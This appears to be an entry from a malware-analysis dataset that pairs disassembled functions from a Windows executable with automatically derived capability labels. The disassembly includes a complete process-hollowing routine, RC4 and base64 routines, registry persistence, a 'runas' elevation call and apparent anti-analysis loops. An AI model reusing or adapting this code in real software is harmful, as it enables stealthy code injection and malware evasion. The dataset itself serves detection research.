joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4059f1
Capabilities:
Read pipe
Write pipe

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x424
push ebx
push esi
xor esi, esi
cmp dword [0x4b3c48], 0x400
push edi
jne 0x405a56
push esi
push esi
call fcn.00405fcb
push esi
push esi
call fcn.00405fcb
push esi
push esi
call fcn.0040622e
push esi
push esi
push esi
call fcn.004067a8
add esp, 0x20
mov dword [esp], esi
call fcn.00405446
fstp st(0)
push ecx
push ecx
mov eax, esp
mov dword [eax], esi
mov dword [eax + 4], esi
call fcn.00405404
fstp st(0)
push esi
call fcn.0040685e
pop ecx
push esi
call fcn.004065bf
pop ecx
mov eax, dword [0x4a9b84]
mov dword [0x4b3c48], eax
mov eax, dword [0x4a9b5c]
mov dword [0x4b3c4c], eax
call fcn.00405709
mov dword [esp + 0x10], esi
mov ebx, 0x2b259d
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor eax, eax
mov dword [esp + 0x1c], esi
lea edi, [esp + 0x20]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [esp + 0x1c]
push eax
lea eax, [esp + 0x18]
push eax
push esi
lea eax, [esp + 0x3c]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_TransactNamedPipe]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
cmp dword [esp + 0x10], ebx
jle 0x405abd
cmp dword [esp + 0x18], 0x785074d5
jne 0x405acb
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0x1c1b
jl 0x405a78
xor edi, edi
push esi
lea eax, [esp + 0x34]
push eax
push esi
push 0x405184
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetNumberFormatA]
lea eax, [esp + 0x14]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetThreadSelectorEntry]
cmp edi, ebx
jle 0x405afc
cmp dword [esp + 0x18], 0x785074d5
jne 0x405b05
inc edi
cmp edi, 0x11915
jl 0x405acd
mov eax, dword [0x4b2b98]
mov dword [0x4b31dc], eax
call eax
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0x10

Function at 0x4071d0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4a8118]
jne 0x4071da
repz ret
jmp fcn.0040bce2
Function at 0x40ba05
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00408da0
and dword [ebp - 4], 0
cmp dword [0x4aa440], 0
mov ebx, eax
jne 0x40bab6
push 0x4025d0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40bb67
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x4025c4
push edi
call esi
test eax, eax
je 0x40bb67
push eax
call fcn.00408d2e
mov dword [esp], 0x4025b4
push edi
mov dword [0x4aa440], eax
call esi
push eax
call fcn.00408d2e
mov dword [esp], 0x4025a0
push edi
mov dword [0x4aa444], eax
call esi
push eax
call fcn.00408d2e
mov dword [esp], 0x402584
push edi
mov dword [0x4aa448], eax
call esi
push eax
call fcn.00408d2e
pop ecx
mov dword [0x4aa450], eax
test eax, eax
je 0x40bab6
push 0x40256c
push edi
call esi
push eax
call fcn.00408d2e
pop ecx
mov dword [0x4aa44c], eax
mov eax, dword [0x4aa44c]
cmp eax, ebx
je 0x40bb0e
cmp dword [0x4aa450], ebx
je 0x40bb0e
push eax
call fcn.00408da9
push dword [0x4aa450]
mov esi, eax
call fcn.00408da9
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40bb0e
test edi, edi
je 0x40bb0e
call esi
test eax, eax
je 0x40bb05
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40bb05
test byte [ebp - 0xc], 1
jne 0x40bb0e
or dword [ebp + 0x10], 0x200000
jmp 0x40bb47
mov eax, dword [0x4aa444]
cmp eax, ebx
je 0x40bb47
push eax
call fcn.00408da9
pop ecx
test eax, eax
je 0x40bb47
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40bb47
mov eax, dword [0x4aa448]
cmp eax, ebx
je 0x40bb47
push eax
call fcn.00408da9
pop ecx
test eax, eax
je 0x40bb47
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4aa440]
call fcn.00408da9
pop ecx
test eax, eax
je 0x40bb67
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40bb69
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x402690
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [ebp + 0x34], 0x10
lea eax, [ebp + 0x20]
push ebx
cmovae eax, dword [ebp + 0x20]
push esi
push edi
push dword [ebp + 0x30]
mov dword [ebp - 4], ecx
mov ecx, 0x43602c
push eax
call fcn.004131b0
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
push dword [ebp + 0x18]
cmovae eax, dword [ebp + 8]
mov ecx, 0x435a14
push eax
call fcn.004131b0
mov esi, dword [0x43603c]
xor ebx, ebx
mov edi, dword [0x436040]
nop word [eax + eax]
cmp edi, 0x10
mov byte [ebx + 0x437248], bl
mov eax, ebx
mov ecx, 0x43602c
cmovae ecx, dword [0x43602c]
cdq
idiv esi
mov al, byte [edx + ecx]
mov byte [ebx + 0x437350], al
inc ebx
cmp ebx, 0x100
jl 0x4026e0
xor edi, edi
xor esi, esi
mov dl, byte [esi + 0x437248]
movzx eax, byte [esi + 0x437350]
add edi, eax
movzx ecx, dl
add edi, ecx
and edi, 0x800000ff
jns 0x402734
dec edi
or edi, 0xffffff00
inc edi
mov al, byte [edi + 0x437248]
mov byte [esi + 0x437248], al
inc esi
mov byte [edi + 0x437248], dl
cmp esi, 0x100
jl 0x402710
mov esi, dword [ebp - 4]
mov ecx, esi
call fcn.00402340
mov edx, dword [ebp + 0x1c]
cmp edx, 0x10
jb 0x402789
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40277f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4027d4
push edx
push ecx
call fcn.004142b0
add esp, 8
mov edx, dword [ebp + 0x34]
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 0xf
mov byte [ebp + 8], 0
cmp edx, 0x10
jb 0x4027cb
mov ecx, dword [ebp + 0x20]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4027c1
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4027d4
push edx
push ecx
call fcn.004142b0
add esp, 8
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.00418a24
int3
Function at 0x4027e0
Capabilities:
Decode data using base64 via dword translation table

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov ebx, dword [eax]
mov edi, ecx
mov dword [ebp - 8], edx
mov dword [ebp - 0x18], edi
test ebx, ebx
jne 0x40281a
push ebx
push 0x431e4b
mov dword [edi + 0x10], ebx
mov dword [edi + 0x14], 0xf
mov byte [edi], bl
call fcn.004131b0
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, ebx
xor esi, esi
and eax, 3
jne 0x402831
cmp byte [ebx + edx - 1], 0x3d
je 0x402831
xor ecx, ecx
mov dword [ebp + 8], ecx
jmp 0x40284b
mov ecx, 1
mov dword [ebp + 8], ecx
cmp eax, 2
ja 0x402849
cmp byte [ebx + edx - 2], 0x3d
jne 0x402849
xor eax, eax
jmp 0x40284b
mov eax, ecx
sub ebx, ecx
mov dword [ebp - 0x10], eax
and ebx, 0xfffffffc
mov ecx, ebx
mov dword [ebp - 0x1c], ebx
shr ecx, 2
push 0
lea eax, [eax + ecx*2]
add eax, ecx
lea ecx, [ebp - 0x34]
add eax, dword [ebp + 8]
push eax
call fcn.00412d20
cmp dword [ebp - 0x20], 0x10
lea eax, [ebp - 0x34]
cmovae eax, dword [ebp - 0x34]
mov dword [ebp - 0xc], eax
test ebx, ebx
je 0x4028fb
mov edx, dword [ebp - 8]
lea eax, [ebx - 1]
mov ebx, dword [ebp - 0xc]
add edx, 2
shr eax, 2
inc eax
mov dword [ebp - 0x14], eax
mov edi, eax
nop word [eax + eax]
movzx eax, byte [edx - 2]
lea edx, [edx + 4]
mov ecx, dword [eax*4 + 0x432a78]
movzx eax, byte [edx - 5]
shl ecx, 6
or ecx, dword [eax*4 + 0x432a78]
movzx eax, byte [edx - 4]
shl ecx, 6
or ecx, dword [eax*4 + 0x432a78]
movzx eax, byte [edx - 3]
shl ecx, 6
or ecx, dword [eax*4 + 0x432a78]
mov eax, ecx
sar eax, 0x10
mov byte [ebx + esi], al
mov eax, ecx
sar eax, 8
mov byte [ebx + esi + 1], al
mov byte [ebx + esi + 2], cl
add esi, 3
sub edi, 1
jne 0x4028a0
mov edi, dword [ebp - 0x18]
mov ebx, dword [ebp - 0x1c]
cmp dword [ebp + 8], 0
je 0x40294a
add ebx, dword [ebp - 8]
movzx eax, byte [ebx]
movzx ecx, byte [ebx + 1]
mov edx, dword [eax*4 + 0x432a78]
shl edx, 6
or edx, dword [ecx*4 + 0x432a78]
mov ecx, dword [ebp - 0xc]
shl edx, 0xc
mov eax, edx
sar eax, 0x10
cmp dword [ebp - 0x10], 0
mov byte [ecx + esi], al
je 0x40294a
movzx eax, byte [ebx + 2]
sar edx, 8
mov eax, dword [eax*4 + 0x432a78]
shl eax, 6
sar eax, 8
or al, dl
mov byte [ecx + esi + 1], al
movups xmm0, xmmword [ebp - 0x34]
mov eax, edi
movups xmmword [edi], xmm0
movq xmm0, qword [ebp - 0x24]
movq qword [edi + 0x10], xmm0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x402c80
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x408
push esi
push edi
push 0x400
lea eax, [ebp - 0x408]
mov esi, edx
push 0
push eax
mov edi, ecx
call fcn.00414ff0
add esp, 0xc
mov dword [ebp - 8], 0x400
cmp dword [ebp + 0x1c], 0x10
lea ecx, [ebp - 4]
lea eax, [ebp + 8]
cmovae eax, dword [ebp + 8]
push ecx
push 1
push 0
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x402cef
cmp dword [ebp + 0x34], 0x10
lea ecx, [ebp - 8]
push ecx
lea ecx, [ebp - 0x408]
push ecx
push 0
lea eax, [ebp + 0x20]
cmovae eax, dword [ebp + 0x20]
push 0
push eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x408]
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
lea edx, [ecx + 1]
mov byte [edi], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402d12
sub ecx, edx
lea eax, [ebp - 0x408]
push ecx
push eax
mov ecx, edi
call fcn.004131b0
mov edx, dword [ebp + 0x1c]
cmp edx, 0x10
jb 0x402d5a
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x402d50
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402da4
push edx
push ecx
call fcn.004142b0
add esp, 8
mov edx, dword [ebp + 0x34]
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 0xf
mov byte [ebp + 8], 0
cmp edx, 0x10
jb 0x402d9c
mov ecx, dword [ebp + 0x20]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x402d92
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402da4
push edx
push ecx
call fcn.004142b0
add esp, 8
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret
call fcn.00418a24
int3
Function at 0x402db0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
cmp dword [ebp + 0x1c], 0x10
lea ecx, [ebp - 4]
push ecx
push 0xf003f
lea eax, [ebp + 8]
mov dword [ebp - 4], 0x80000001
cmovae eax, dword [ebp + 8]
push 0
push eax
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x402e0d
cmp dword [ebp + 0x4c], 0x10
lea edx, [ebp + 0x38]
mov eax, dword [ebp + 0x48]
lea ecx, [ebp + 0x20]
cmovae edx, dword [ebp + 0x38]
cmp dword [ebp + 0x34], 0x10
cmovae ecx, dword [ebp + 0x20]
inc eax
push eax
push edx
push 2
push 0
push ecx
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edx, dword [ebp + 0x1c]
cmp edx, 0x10
jb 0x402e4a
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x402e40
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402ed2
push edx
push ecx
call fcn.004142b0
add esp, 8
mov edx, dword [ebp + 0x34]
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 0xf
mov byte [ebp + 8], 0
cmp edx, 0x10
jb 0x402e8c
mov ecx, dword [ebp + 0x20]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x402e82
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402ed2
push edx
push ecx
call fcn.004142b0
add esp, 8
mov edx, dword [ebp + 0x4c]
mov dword [ebp + 0x30], 0
mov dword [ebp + 0x34], 0xf
mov byte [ebp + 0x20], 0
cmp edx, 0x10
jb 0x402ece
mov ecx, dword [ebp + 0x38]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x402ec4
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402ed2
push edx
push ecx
call fcn.004142b0
add esp, 8
mov esp, ebp
pop ebp
ret
call fcn.00418a24
int3
Function at 0x4034c0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x174
lea eax, [ebp - 0x170]
push ebx
push esi
push edi
push 0x104
push eax
push 0
mov esi, ecx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov eax, 0x5a4d
cmp word [esi], ax
jne 0x40366c
mov edi, dword [esi + 0x3c]
add edi, esi
cmp dword [edi], 0x4550
jne 0x40366c
push 0x44
lea eax, [ebp - 0x68]
push 0
push eax
call fcn.00414ff0
add esp, 0xc
lea eax, [ebp - 0x1c]
xorps xmm0, xmm0
movups xmmword [ebp - 0x1c], xmm0
push eax
lea eax, [ebp - 0x68]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x170]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x40366c
push 4
push 0x1000
push 4
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, eax
push ebx
mov dword [ebp - 0x20], ebx
mov dword [ebx], 0x10007
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x40366c
push 0
push 4
lea eax, [ebp - 4]
push eax
push 0x4329cc
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov eax, dword [edi + 0x34]
cmp dword [ebp - 4], eax
jne 0x4035b1
push str.NtUnmapViewOfSection
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [ebp - 4]
push dword [ebp - 0x1c]
call eax
mov eax, dword [edi + 0x34]
push 0x40
push 0x3000
push dword [edi + 0x50]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0xc], eax
test eax, eax
je 0x40366c
push 0
push dword [edi + 0x54]
push esi
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor eax, eax
mov dword [ebp - 8], 0
cmp ax, word [edi + 6]
jae 0x403632
xor ebx, ebx
mov ecx, dword [esi + 0x3c]
add ecx, ebx
push 0
push dword [ecx + esi + 0x108]
mov eax, dword [ecx + esi + 0x10c]
add eax, esi
push eax
mov eax, dword [ecx + esi + 0x104]
add eax, dword [ebp - 0xc]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, dword [ebp - 8]
add ebx, 0x28
movzx eax, word [edi + 6]
inc ecx
mov dword [ebp - 8], ecx
cmp ecx, eax
jl 0x4035f1
mov ebx, dword [ebp - 0x20]
push 0
push 4
lea eax, [edi + 0x34]
push eax
mov eax, dword [ebx + 0xa4]
add eax, 8
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [edi + 0x28]
add eax, dword [ebp - 0xc]
push ebx
mov dword [ebx + 0xb0], eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop edi
pop esi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x403690
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
cmovae eax, dword [ebp + 8]
cmp dword [ebp + 0x18], 1
jne 0x4036ad
cmp byte [eax], 0x31
jne 0x4036ad
mov cl, 1
jmp 0x4036af
xor cl, cl
xor edx, edx
mov eax, 5
test cl, cl
lea ecx, [ebp + 8]
push esi
cmove eax, edx
mov edx, str.runas
push eax
mov eax, 0x431e4b
cmovne eax, edx
push eax
call fcn.004131b0
cmp dword [ebp + 0x4c], 0x10
lea edx, [ebp + 0x38]
push 0
cmovae edx, dword [ebp + 0x38]
lea ecx, [ebp + 0x20]
cmp dword [ebp + 0x34], 0x10
lea eax, [ebp + 8]
push 0
cmovae ecx, dword [ebp + 0x20]
cmp dword [ebp + 0x1c], 0x10
push edx
cmovae eax, dword [ebp + 8]
push ecx
push eax
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov edx, dword [ebp + 0x1c]
mov esi, eax
mov dword [0x43734c], esi
cmp edx, 0x10
jb 0x40373f
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x403735
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4037c8
push edx
push ecx
call fcn.004142b0
add esp, 8
mov edx, dword [ebp + 0x34]
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 0xf
mov byte [ebp + 8], 0
cmp edx, 0x10
jb 0x403781
mov ecx, dword [ebp + 0x20]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x403777
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4037c8
push edx
push ecx
call fcn.004142b0
add esp, 8
mov edx, dword [ebp + 0x4c]
mov dword [ebp + 0x30], 0
mov dword [ebp + 0x34], 0xf
mov byte [ebp + 0x20], 0
cmp edx, 0x10
jb 0x4037c3
mov ecx, dword [ebp + 0x38]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4037b9
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4037c8
push edx
push ecx
call fcn.004142b0
add esp, 8
mov eax, esi
pop esi
pop ebp
ret
call fcn.00418a24
int3
Function at 0x4038f0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x64
mov dword [0x437348], 0
call esi
mov eax, dword fs:[0x2c]
mov ecx, dword [eax]
mov eax, dword [0x4374a0]
cmp eax, dword [ecx + 4]
jle 0x40399b
push 0x4374a0
call fcn.00413f59
add esp, 4
cmp dword [0x4374a0], 0xffffffff
jne 0x40399b
push 0x42b3d0
mov dword [0x437468], 0
mov dword [0x43746c], 0xf
mov byte [0x437458], 0
mov dword [0x437480], 0
mov dword [0x437484], 0xf
mov byte [0x437470], 0
mov dword [0x437498], 0
mov dword [0x43749c], 0xf
mov byte [0x437488], 0
call fcn.0041429b
push 0x4374a0
call fcn.00413f0f
add esp, 8
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
push dword [ebp + 0x18]
cmovae eax, dword [ebp + 8]
mov ecx, 0x437458
push eax
call fcn.004131b0
cmp dword [ebp + 0x34], 0x10
lea eax, [ebp + 0x20]
push dword [ebp + 0x30]
cmovae eax, dword [ebp + 0x20]
mov ecx, 0x437470
push eax
call fcn.004131b0
cmp dword [ebp + 0x4c], 0x10
lea eax, [ebp + 0x38]
push dword [ebp + 0x48]
cmovae eax, dword [ebp + 0x38]
mov ecx, 0x437488
push eax
call fcn.004131b0
push 0
push 0
push 0x437458
push 0x4037d0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x1f4
call esi
mov edx, dword [ebp + 0x1c]
mov esi, dword [0x437348]
cmp edx, 0x10
jb 0x403a3f
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x403a35
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403ac8
push edx
push ecx
call fcn.004142b0
add esp, 8
mov edx, dword [ebp + 0x34]
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 0xf
mov byte [ebp + 8], 0
cmp edx, 0x10
jb 0x403a81
mov ecx, dword [ebp + 0x20]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x403a77
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403ac8
push edx
push ecx
call fcn.004142b0
add esp, 8
mov edx, dword [ebp + 0x4c]
mov dword [ebp + 0x30], 0
mov dword [ebp + 0x34], 0xf
mov byte [ebp + 0x20], 0
cmp edx, 0x10
jb 0x403ac3
mov ecx, dword [ebp + 0x38]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x403ab9
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403ac8
push edx
push ecx
call fcn.004142b0
add esp, 8
mov eax, esi
pop esi
pop ebp
ret
call fcn.00418a24
int3
Function at 0x404720
Capabilities:
Check os version
Get system information on windows

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x18c
push esi
push 0x118
xorps xmm0, xmm0
mov dword [ebp - 0x40], 0
lea eax, [ebp - 0x17c]
movaps xmmword [ebp - 0x60], xmm0
push 0
push eax
movaps xmmword [ebp - 0x50], xmm0
call fcn.00414ff0
add esp, 0xc
mov dword [ebp - 0x180], 0x11c
lea eax, [ebp - 0x180]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
jne 0x40478d
mov eax, 0x64
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
sub esp, 0x18
mov ecx, esp
push 0x43644c
call fcn.00412e40
lea ecx, [ebp - 0x30]
call fcn.00402b70
mov esi, eax
add esp, 0x18
cmp dword [esi + 0x14], 0x10
jb 0x4047b1
mov esi, dword [esi]
sub esp, 0x18
mov ecx, esp
push 0x435d8c
call fcn.00412e40
lea ecx, [ebp - 0x18]
call fcn.00402b70
add esp, 0x18
cmp dword [eax + 0x14], 0x10
jb 0x4047d3
mov eax, dword [eax]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, dword [ebp - 4]
mov esi, eax
cmp edx, 0x10
jb 0x404818
mov ecx, dword [ebp - 0x18]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40480e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4048ad
push edx
push ecx
call fcn.004142b0
add esp, 8
mov edx, dword [ebp - 0x1c]
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0xf
mov byte [ebp - 0x18], 0
cmp edx, 0x10
jb 0x40485a
mov ecx, dword [ebp - 0x30]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x404850
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4048ad
push edx
push ecx
call fcn.004142b0
add esp, 8
mov dword [ebp - 0x20], 0
lea eax, [ebp - 0x60]
mov dword [ebp - 0x1c], 0xf
mov byte [ebp - 0x30], 0
push eax
test esi, esi
je 0x404878
call esi
jmp 0x40487e
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [ebp - 0x17c], 6
jb 0x4048a5
mov ax, word [ebp - 0x60]
cmp ax, 9
jne 0x40489e
mov eax, 1
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
test ax, ax
jne 0x4048a5
xor eax, eax
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.00418a24
int3

Function at 0x4048f0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
cmp dword [ecx + 0x14], 0x10
jb 0x4048f8
mov ecx, dword [ecx]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x40490b
test al, 0x10
je 0x40490b
mov al, 1
ret
xor al, al
ret
Function at 0x404de0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x154
push esi
lea eax, [ebp - 0x150]
mov esi, ecx
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea edx, [ebp - 0x150]
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0xf
lea ecx, [edx + 1]
mov byte [ebp - 0x30], 0
nop dword [eax]
mov al, byte [edx]
inc edx
test al, al
jne 0x404e20
sub edx, ecx
lea eax, [ebp - 0x150]
push edx
push eax
lea ecx, [ebp - 0x30]
call fcn.004131b0
mov ecx, 3
mov dword [ebp - 8], 0
cmp dword [ebp - 0x20], ecx
lea eax, [ebp - 0x30]
mov dword [ebp - 4], 0xf
cmovb ecx, dword [ebp - 0x20]
cmp dword [ebp - 0x1c], 0x10
push ecx
cmovae eax, dword [ebp - 0x30]
lea ecx, [ebp - 0x18]
push eax
mov byte [ebp - 0x18], 0
call fcn.004131b0
sub esp, 0x18
mov ecx, esp
push 0x435cfc
call fcn.00412e40
lea ecx, [ebp - 0x48]
call fcn.00402b70
push eax
lea edx, [ebp - 0x18]
mov ecx, esi
call fcn.004132f0
mov edx, dword [ebp - 4]
add esp, 0x1c
cmp edx, 0x10
jb 0x404ec5
mov ecx, dword [ebp - 0x18]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x404ebb
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404f3e
push edx
push ecx
call fcn.004142b0
add esp, 8
mov edx, dword [ebp - 0x1c]
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0xf
mov byte [ebp - 0x18], 0
cmp edx, 0x10
jb 0x404f07
mov ecx, dword [ebp - 0x30]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x404efd
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404f3e
push edx
push ecx
call fcn.004142b0
add esp, 8
mov edx, dword [ebp - 0x34]
cmp edx, 0x10
jb 0x404f37
mov ecx, dword [ebp - 0x48]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x404f2d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404f3e
push edx
push ecx
call fcn.004142b0
add esp, 8
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
call fcn.00418a24
int3